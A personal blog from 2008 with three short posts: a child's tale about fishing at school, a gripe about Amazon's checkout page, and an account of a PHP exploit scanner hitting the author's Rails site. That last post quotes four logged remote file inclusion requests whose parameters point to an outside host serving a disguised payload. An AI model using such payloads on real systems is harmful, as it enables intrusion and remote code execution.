Thursday, August 28, 2008

Jimmy the Fisherman

Jimmy is eight years old and goes to school. Every day he goes to school with his frying pan and his fishing rod.

His job at school is to catch fish. When it's time for morning tea and lunch, Jimmy gets out his fishing rod and catches a fish to eat. Then he cooks the fish in his frying pan.


That's the story Tyler told me this morning on his way to school as he trundled along next to me on his scooter. Hilarious. It's really weird, I think I'm actually more advanced in years than his school teachers.

The usual suspects

Friday, August 01, 2008

Your cost could be $12.60 instead of $42.60!

I had clicked through to Amazon to buy a book that cost about $13, ended up adding another similarly priced book, and was on the final checkout page with left mouse finger tentatively hovering over the buy button when I noticed this huge call-out at the top of the page:



Really? Then why isn't it! Seriously, the final checkout page is the worst place to be reminding customers that their cost could be much lower without offer a way to act on it immediately.

Didn't end up going ahead with it. It made the experience feel like being kicked in the nuts and laughed at for being so stupid as to pay the full amount. What they should have done is congratulate me for how much I had already saved over going to a brick & mortar bookshop, and then on the receipt page offered a tip for how to make my next purchase a little cheaper.

Morfeus Fucking Scanner

Pleas excuse the profane title, it's the string that an entity identified itself with that hit up out server a few hundred times over a period of several seconds during the night. A little googling reveals it to be a PHP vulnerability exploit scanner.



I thought it was funny that they'd be so blatent, but also because our site is a Ruby on Rails application and as such is invulnerable to PHP exploits. It was hitting up URLs like this is rapid succession:

/www/lib/head_auth.php?CFG[PREPEND_FILE]=http://69.46.228.240/dotproject/includes/1.gif?/

/webcalendar/tools/send_reminders.php?includedir=http://69.46.228.240/dotproject/includes/1.gif?/

/templates/mangobery/footer.sample.php?Site_Path=http://69.46.228.240/dotproject/includes/1.gif?/

/tools/update_translations.php?_SESSION[path]=http://69.46.228.240/dotproject/includes/1.gif?/

Anyway, to the script kiddie who was running box 80.98.255.56, can't blame you for trying hey :)